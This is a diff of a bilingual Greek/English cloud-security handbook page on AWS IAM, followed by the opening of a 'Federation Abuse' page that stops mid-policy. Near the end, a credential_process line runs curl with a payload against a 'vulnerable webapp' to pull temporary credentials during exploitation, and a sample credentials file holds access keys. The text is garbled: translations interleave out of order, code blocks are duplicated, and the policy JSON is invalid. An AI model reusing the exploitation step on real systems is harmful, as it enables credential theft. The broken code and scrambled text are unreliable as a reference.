**Τα προσωρινά διαπιστευτήρια χρησιμοποιούνται κυρίως με ρόλους IAM**, αλλά υπάρχουν και άλλες χρήσεις. Μπορείτε να ζητήσετε προσωρινά διαπιστευτήρια που έχουν ένα πιο περιορισμένο σύνολο δικαιωμάτων από τον τυπικό χρήστη IAM σας. Αυτό **αποτρέπει** να **εκτελείτε κατά λάθος εργασίες που δεν επιτρέπονται** από τα πιο περιορισμένα διαπιστευτήρια. Ένα πλεονέκτημα των προσωρινών διαπιστευτηρίων είναι ότι λήγουν αυτόματα μετά από μια καθορισμένη χρονική περίοδο. Έχετε έλεγχο πάνω στη διάρκεια που είναι έγκυρα τα διαπιστευτήρια.
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### Πολιτικές
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
#### Δικαιώματα Πολιτικής
### Policies
Χρησιμοποιούνται για την ανάθεση δικαιωμάτων. Υπάρχουν 2 τύποι:
#### Policy Permissions
- Πολιτικές διαχείρισης AWS (προρυθμισμένες από την AWS)
- Πολιτικές διαχείρισης πελατών: Ρυθμισμένες από εσάς. Μπορείτε να δημιουργήσετε πολιτικές βασισμένες σε πολιτικές διαχείρισης AWS (τροποποιώντας μία από αυτές και δημιουργώντας τη δική σας), χρησιμοποιώντας τον γεννήτρια πολιτικών (μια GUI προβολή που σας βοηθά να παραχωρείτε και να αρνείστε δικαιώματα) ή γράφοντας τη δική σας.
Are used to assign permissions. There are 2 types:
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
Κατά **προεπιλογή, η πρόσβαση** είναι **αρνητική**, η πρόσβαση θα παραχωρηθεί εάν έχει καθοριστεί ρητά ένας ρόλος.\
Εάν **υπάρχει μία μόνο "Άρνηση", θα υπερισχύσει της "Άδειας"**, εκτός από αιτήματα που χρησιμοποιούν τα διαπιστευτήρια ασφαλείας του ριζικού λογαριασμού AWS (τα οποία επιτρέπονται από προεπιλογή).
```javascript
{
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
```
Τα [παγκόσμια πεδία που μπορούν να χρησιμοποιηθούν για συνθήκες σε οποιαδήποτε υπηρεσία είναι τεκμηριωμένα εδώ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
Τα [συγκεκριμένα πεδία που μπορούν να χρησιμοποιηθούν για συνθήκες ανά υπηρεσία είναι τεκμηριωμένα εδώ](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Policies
Αυτός ο τύπος πολιτικών είναι **άμεσα ανατεθειμένος** σε έναν χρήστη, ομάδα ή ρόλο. Έτσι, δεν εμφανίζονται στη λίστα Πολιτικών καθώς οποιοσδήποτε άλλος μπορεί να τις χρησιμοποιήσει.\
Οι inline πολιτικές είναι χρήσιμες αν θέλετε να **διατηρήσετε μια αυστηρή σχέση ένα προς ένα μεταξύ μιας πολιτικής και της ταυτότητας** στην οποία εφαρμόζεται. Για παράδειγμα, θέλετε να είστε σίγουροι ότι οι άδειες σε μια πολιτική δεν ανατίθενται κατά λάθος σε μια ταυτότητα εκτός από αυτήν για την οποία προορίζονται. Όταν χρησιμοποιείτε μια inline πολιτική, οι άδειες στην πολιτική δεν μπορούν να προσαρτηθούν κατά λάθος στη λάθος ταυτότητα. Επιπλέον, όταν χρησιμοποιείτε την κονσόλα διαχείρισης AWS για να διαγράψετε αυτήν την ταυτότητα, οι πολιτικές που ενσωματώνονται στην ταυτότητα διαγράφονται επίσης. Αυτό συμβαίνει επειδή είναι μέρος της κύριας οντότητας.
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
#### Resource Bucket Policies
Αυτές είναι **πολιτικές** που μπορούν να οριστούν σε **πόρους**. **Όλοι οι πόροι του AWS δεν τις υποστηρίζουν**.
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
Εάν μια κύρια οντότητα δεν έχει ρητή άρνηση γι' αυτές, και μια πολιτική πόρου τους παραχωρεί πρόσβαση, τότε επιτρέπεται.
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
### IAM Boundaries
Οι IAM boundaries μπορούν να χρησιμοποιηθούν για να **περιορίσουν τις άδειες που πρέπει να έχει πρόσβαση ένας χρήστης ή ρόλος**. Με αυτόν τον τρόπο, ακόμη και αν μια διαφορετική σειρά αδειών παραχωρηθεί στον χρήστη από μια **διαφορετική πολιτική**, η λειτουργία θα **αποτύχει** αν προσπαθήσει να τις χρησιμοποιήσει.
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
Μια boundary είναι απλώς μια πολιτική που συνδέεται με έναν χρήστη και **υποδεικνύει το μέγιστο επίπεδο αδειών που μπορεί να έχει ο χρήστης ή ο ρόλος**. Έτσι, **ακόμη και αν ο χρήστης έχει πρόσβαση Διαχειριστή**, αν η boundary υποδεικνύει ότι μπορεί να διαβάσει μόνο S· buckets, αυτό είναι το μέγιστο που μπορεί να κάνει.
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
**Αυτό**, **SCPs** και **η τήρηση της αρχής της ελάχιστης προνομίας** είναι οι τρόποι ελέγχου ώστε οι χρήστες να μην έχουν περισσότερες άδειες από αυτές που χρειάζονται.
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
### Session Policies
Μια πολιτική συνεδρίας είναι μια **πολιτική που ορίζεται όταν αναλαμβάνεται ένας ρόλος** με κάποιο τρόπο. Αυτό θα είναι σαν μια **IAM boundary για αυτή τη συνεδρία**: Αυτό σημαίνει ότι η πολιτική συνεδρίας δεν παραχωρεί άδειες αλλά **περιορίζει αυτές στις αναφερόμενες στην πολιτική** (με τις μέγιστες άδειες να είναι αυτές που έχει ο ρόλος).
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
Αυτό είναι χρήσιμο για **μέτρα ασφαλείας**: Όταν ένας διαχειριστής πρόκειται να αναλάβει έναν πολύ προνομιακό ρόλο, θα μπορούσε να περιορίσει την άδεια μόνο στις αναφερόμενες στην πολιτική συνεδρίας σε περίπτωση που η συνεδρία παραβιαστεί.
```bash
aws sts assume-role \
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Σημειώστε ότι από προεπιλογή **η AWS μπορεί να προσθέσει πολιτικές συνεδρίας σε συνεδρίες** που πρόκειται να δημιουργηθούν λόγω τρίτων λόγων. Για παράδειγμα, σε [μη αυθεντικοποιημένους ρόλους cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) από προεπιλογή (χρησιμοποιώντας ενισχυμένη αυθεντικοποίηση), η AWS θα δημιουργήσει **διαπιστευτήρια συνεδρίας με πολιτική συνεδρίας** που περιορίζει τις υπηρεσίες που μπορεί να έχει πρόσβαση η συνεδρία [**στην παρακάτω λίστα**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Επομένως, αν σε κάποια στιγμή αντιμετωπίσετε το σφάλμα "... επειδή καμία πολιτική συνεδρίας δεν επιτρέπει το ...", και ο ρόλος έχει πρόσβαση για να εκτελέσει την ενέργεια, είναι επειδή **υπάρχει μια πολιτική συνεδρίας που το εμποδίζει**.
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
### Ομοσπονδία Ταυτότητας
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
Η ομοσπονδία ταυτότητας **επιτρέπει στους χρήστες από παρόχους ταυτότητας που είναι εξωτερικοί** στην AWS να έχουν ασφαλή πρόσβαση σε πόρους της AWS χωρίς να χρειάζεται να παρέχουν διαπιστευτήρια χρήστη AWS από έγκυρο λογαριασμό IAM.\
Ένα παράδειγμα παρόχου ταυτότητας μπορεί να είναι το δικό σας εταιρικό **Microsoft Active Directory** (μέσω **SAML**) ή υπηρεσίες **OpenID** (όπως **Google**). Η ομοσπονδία πρόσβασης θα επιτρέπει στους χρήστες εντός της να έχουν πρόσβαση στην AWS.
### Identity Federation
Για να ρυθμίσετε αυτήν την εμπιστοσύνη, θα δημιουργηθεί ένας **Πάροχος Ταυτότητας IAM (SAML ή OAuth)** που θα **εμπιστεύεται** την **άλλη πλατφόρμα**. Στη συνέχεια, τουλάχιστον ένας **ρόλος IAM ανατίθεται (εμπιστευόμενος) στον Πάροχο Ταυτότητας**. Εάν ένας χρήστης από την εμπιστευμένη πλατφόρμα αποκτήσει πρόσβαση στην AWS, θα έχει πρόσβαση ως ο αναφερόμενος ρόλος.
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
Ωστόσο, συνήθως θα θέλετε να δώσετε έναν **διαφορετικό ρόλο ανάλογα με την ομάδα του χρήστη** στην τρίτη πλατφόρμα. Στη συνέχεια, αρκετοί **ρόλοι IAM μπορούν να εμπιστεύονται** τον τρίτο Πάροχο Ταυτότητας και η τρίτη πλατφόρμα θα είναι αυτή που θα επιτρέπει στους χρήστες να αναλαμβάνουν έναν ρόλο ή τον άλλο.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### Κέντρο Ταυτότητας IAM
### IAM Identity Center
Το AWS IAM Identity Center (διάδοχος του AWS Single Sign-On) επεκτείνει τις δυνατότητες της Διαχείρισης Ταυτότητας και Πρόσβασης AWS (IAM) για να παρέχει ένα **κεντρικό σημείο** που συγκεντρώνει **τη διαχείριση χρηστών και την πρόσβασή τους σε λογαριασμούς AWS** και εφαρμογές cloud.
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
Ο τομέας σύνδεσης θα είναι κάτι σαν `<user_input>.awsapps.com`.
The login domain is going to be something like `<user_input>.awsapps.com`.
Για να συνδεθούν οι χρήστες, υπάρχουν 3 πηγές ταυτότητας που μπορούν να χρησιμοποιηθούν:
To login users, there are 3 identity sources that can be used:
- Κατάλογος Κέντρου Ταυτότητας: Κανονικοί χρήστες AWS
- Active Directory: Υποστηρίζει διάφορους συνδέσμους
- Εξωτερικός Πάροχος Ταυτότητας: Όλοι οι χρήστες και οι ομάδες προέρχονται από έναν εξωτερικό Πάροχο Ταυτότητας (IdP)
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
Στην απλούστερη περίπτωση του καταλόγου Κέντρου Ταυτότητας, το **Κέντρο Ταυτότητας θα έχει μια λίστα χρηστών & ομάδων** και θα μπορεί να **αναθέτει πολιτικές** σε αυτούς για **οποιουσδήποτε από τους λογαριασμούς** της οργάνωσης.
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
Για να δώσετε πρόσβαση σε έναν χρήστη/ομάδα του Κέντρου Ταυτότητας σε έναν λογαριασμό, θα δημιουργηθεί ένας **Πάροχος Ταυτότητας SAML που εμπιστεύεται το Κέντρο Ταυτότητας**, και θα δημιουργηθεί ένας **ρόλος που εμπιστεύεται τον Πάροχο Ταυτότητας με τις καθορισμένες πολιτικές** στον προορισμένο λογαριασμό.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
#### AwsSSOInlinePolicy
Είναι δυνατόν να **δώσετε άδειες μέσω ενσωματωμένων πολιτικών σε ρόλους που δημιουργούνται μέσω του IAM Identity Center**. Οι ρόλοι που δημιουργούνται στους λογαριασμούς που λαμβάνουν **ενσωματωμένες πολιτικές στο AWS Identity Center** θα έχουν αυτές τις άδειες σε μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**.
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
Επομένως, ακόμη και αν δείτε 2 ρόλους με μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**, αυτό **δεν σημαίνει ότι έχει τις ίδιες άδειες**.
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
### Διασυνοριακές Εμπιστοσύνες και Ρόλοι
### Cross Account Trusts and Roles
**Ένας χρήστης** (εμπιστευόμενος) μπορεί να δημιουργήσει έναν Διασυνοριακό Ρόλο με κάποιες πολιτικές και στη συνέχεια, **να επιτρέψει σε έναν άλλο χρήστη** (εμπιστευμένος) να **έχει πρόσβαση στον λογαριασμό του** αλλά μόνο **έχοντας την πρόσβαση που υποδεικνύεται στις νέες πολιτικές ρόλου**. Για να το δημιουργήσετε αυτό, απλώς δημιουργήστε έναν νέο Ρόλο και επιλέξτε Διασυνοριακό Ρόλο. Οι ρόλοι για Διασυνοριακή Πρόσβαση προσφέρουν δύο επιλογές. Παρέχοντας πρόσβαση μεταξύ λογαριασμών AWS που κατέχετε, και παρέχοντας πρόσβαση μεταξύ ενός λογαριασμού που κατέχετε και ενός τρίτου λογαριασμού AWS.\
Συνιστάται να **καθορίσετε τον χρήστη που είναι εμπιστευμένος και να μην βάλετε κάτι γενικό** γιατί αν όχι, άλλοι αυθεντικοποιημένοι χρήστες όπως οι ομοσπονδικοί χρήστες θα μπορούν επίσης να εκμεταλλευτούν αυτήν την εμπιστοσύνη.
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
### AWS Simple AD
Δεν υποστηρίζεται:
Not supported:
- Σχέσεις Εμπιστοσύνης
- Κέντρο Διαχείρισης AD
- Πλήρης υποστήριξη PS API
- Κάδος Ανακύκλωσης AD
- Διαχειριζόμενοι Λογαριασμοί Υπηρεσιών Ομάδας
- Επεκτάσεις Σχήματος
- Καμία Άμεση πρόσβαση στο OS ή στις Εγκαταστάσεις
- Trust Relations
- AD Admin Center
- Full PS API support
- AD Recycle Bin
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
#### Ομοσπονδία Ιστού ή Αυθεντικοποίηση OpenID
#### Web Federation or OpenID Authentication
Η εφαρμογή χρησιμοποιεί το AssumeRoleWithWebIdentity για να δημιουργήσει προσωρινά διαπιστευτήρια. Ωστόσο, αυτό δεν παρέχει πρόσβαση στην κονσόλα AWS, μόνο πρόσβαση σε πόρους εντός της AWS.
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
### Άλλες επιλογές IAM
### Other IAM options
- Μπορείτε να **ρυθμίσετε μια πολιτική κωδικού πρόσβασης** με επιλογές όπως ελάχιστο μήκος και απαιτήσεις κωδικού πρόσβασης.
- Μπορείτε να **κατεβάσετε την "Έκθεση Διαπιστευτηρίων"** με πληροφορίες σχετικά με τα τρέχοντα διαπιστευτήρια (όπως χρόνος δημιουργίας χρήστη, αν είναι ενεργοποιημένος ο κωδικός πρόσβασης...). Μπορείτε να δημιουργήσετε μια έκθεση διαπιστευτηρίων όσο συχνά κάθε **τέσσερις ώρες**.
- You can **set a password policy setting** options like minimum length and password requirements.
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
Η Διαχείριση Ταυτότητας και Πρόσβασης AWS (IAM) παρέχει **λεπτομερή έλεγχο πρόσβασης** σε όλη την AWS. Με το IAM, μπορείτε να καθορίσετε **ποιος μπορεί να έχει πρόσβαση σε ποιες υπηρεσίες και πόρους**, και υπό ποιες συνθήκες. Με τις πολιτικές IAM, διαχειρίζεστε τις άδειες στην εργατική σας δύναμη και τα συστήματα για να **διασφαλίσετε τις ελάχιστες άδειες**.
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
### Πρόθεμα ID IAM
### IAM ID Prefixes
Στην [**αυτή τη σελίδα**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) μπορείτε να βρείτε τα **προθέματα ID IAM** των κλειδιών ανάλογα με τη φύση τους:
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
| Κωδικός Αναγνωριστικού | Περιγραφή |
| Identifier Code | Description |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Διαπιστευτήριο συγκεκριμένου πλαισίου |
| AGPA | Ομάδα χρηστών |
| AIDA | Χρήστης IAM |
| AIPA | Προφίλ στιγμής Amazon EC2 |
| AKIA | Κλειδί πρόσβασης |
| ANPA | Διαχειριζόμενη πολιτική |
| ANVA | Έκδοση σε μια διαχειριζόμενη πολιτική |
| APKA | Δημόσιο κλειδί |
| AROA | Ρόλος |
| ASCA | Πιστοποιητικό |
| ASIA | [Προσωρινά (AWS STS) αναγνωριστικά κλειδιών πρόσβασης](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) χρησιμοποιούν αυτό το πρόθεμα, αλλά είναι μοναδικά μόνο σε συνδυασμό με το μυστικό κλειδί πρόσβασης και το διακριτικό συνεδρίας. |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
### Συνιστώμενες άδειες για έλεγχο λογαριασμών
### Recommended permissions to audit accounts
Οι παρακάτω προνόμια παρέχουν διάφορη ανάγνωση μεταδεδομένων:
The following privileges grant various read access of metadata:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -344,13 +356,14 @@ aws sts assume-role \
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
## Διάφορα
## Misc
### Αυθεντικοποίηση CLI
### CLI Authentication
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
Example of credentials file with more than 1 profile:
Για να μπορέσει ένας κανονικός χρήστης να αυθεντικοποιηθεί στην AWS μέσω CLI, πρέπει να έχει **τοπικά διαπιστευτήρια**. Από προεπιλογή μπορείτε να τα ρυθμίσετε **χειροκίνητα** στο `~/.aws/credentials` ή **τρέχοντας** `aws configure`.\
Σε αυτό το αρχείο μπορείτε να έχετε περισσότερα από ένα προφίλ, αν **δεν καθοριστεί προφίλ** χρησιμοποιώντας το **aws cli**, το προφίλ που ονομάζεται **`[default]`** σε αυτό το αρχείο θα χρησιμοποιηθεί.\
Παράδειγμα αρχείου διαπιστευτηρίων με περισσότερα από 1 προφίλ:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -361,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
Αν χρειάζεστε να έχετε πρόσβαση σε **διαφορετικούς λογαριασμούς AWS** και το προφίλ σας έχει δοθεί πρόσβαση για **να αναλάβετε έναν ρόλο μέσα σε αυτούς τους λογαριασμούς**, δεν χρειάζεται να καλείτε χειροκίνητα το STS κάθε φορά (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) και να ρυθμίζετε τα διαπιστευτήρια.
Μπορείτε να χρησιμοποιήσετε το αρχείο `~/.aws/config` για να [ **υποδείξετε ποιους ρόλους να αναλάβετε**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), και στη συνέχεια να χρησιμοποιήσετε την παράμετρο `--profile` όπως συνήθως (η `assume-role` θα εκτελείται με διαφάνεια για τον χρήστη).\
Ένα παράδειγμα αρχείου ρυθμίσεων:
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
A config file example:
```
[profile acc2]
region=eu-west-2
@@ -373,30 +388,36 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
Με αυτό το αρχείο ρυθμίσεων μπορείτε στη συνέχεια να χρησιμοποιήσετε το aws cli όπως:
With this config file you can then use aws cli like:
```
aws --profile acc2 ...
```
Αν ψάχνετε για κάτι **παρόμοιο** με αυτό αλλά για τον **περιηγητή**, μπορείτε να ελέγξετε την **επέκταση** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Αυτοματοποίηση προσωρινών διαπιστευτηρίων
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automating temporary credentials
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
Αν εκμεταλλεύεστε μια εφαρμογή που δημιουργεί προσωρινά διαπιστευτήρια, μπορεί να είναι κουραστικό να τα ενημερώνετε στο τερματικό σας κάθε λίγα λεπτά όταν λήγουν. Αυτό μπορεί να διορθωθεί χρησιμοποιώντας μια οδηγία `credential_process` στο αρχείο ρυθμίσεων. Για παράδειγμα, αν έχετε κάποια ευάλωτη webapp, θα μπορούσατε να κάνετε:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
Σημειώστε ότι τα διαπιστευτήρια _πρέπει_ να επιστραφούν στο STDOUT με την εξής μορφή:
Note that credentials _must_ be returned to STDOUT in the following format:
```json
{
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
```
## Αναφορές
## References
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)

View File

@@ -1,84 +1,87 @@
# AWS - Κατάχρηση Ομοσπονδίας
# AWS - Federation Abuse
{{#include ../../../banners/hacktricks-training.md}}
## SAML
Για πληροφορίες σχετικά με το SAML, παρακαλώ ελέγξτε:
For info about SAML please check:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Για να ρυθμίσετε μια **Ομοσπονδία Ταυτότητας μέσω SAML**, χρειάζεται απλώς να παρέχετε ένα **όνομα** και το **metadata XML** που περιέχει όλες τις ρυθμίσεις SAML (**endpoints**, **πιστοποιητικό** με δημόσιο κλειδί)
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
## OIDC - Κατάχρηση Github Actions
## OIDC - Github Actions Abuse
Για να προσθέσετε μια δράση github ως πάροχο ταυτότητας:
In order to add a github action as Identity provider:
1. For _Provider type_, select **OpenID Connect**.
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
3. Click on _Get thumbprint_ to get the thumbprint of the provider
4. For _Audience_, enter `sts.amazonaws.com`
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
8. Finally use a github action to configure the AWS creds to be used by the workflow:
1. Για _Τύπος Παρόχου_, επιλέξτε **OpenID Connect**.
2. Για _URL Παρόχου_, εισάγετε `https://token.actions.githubusercontent.com`
3. Κάντε κλικ στο _Get thumbprint_ για να αποκτήσετε το thumbprint του παρόχου
4. Για _Audience_, εισάγετε `sts.amazonaws.com`
5. Δημιουργήστε έναν **νέο ρόλο** με τις **άδειες** που χρειάζεται η δράση github και μια **πολιτική εμπιστοσύνης** που εμπιστεύεται τον πάροχο όπως:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
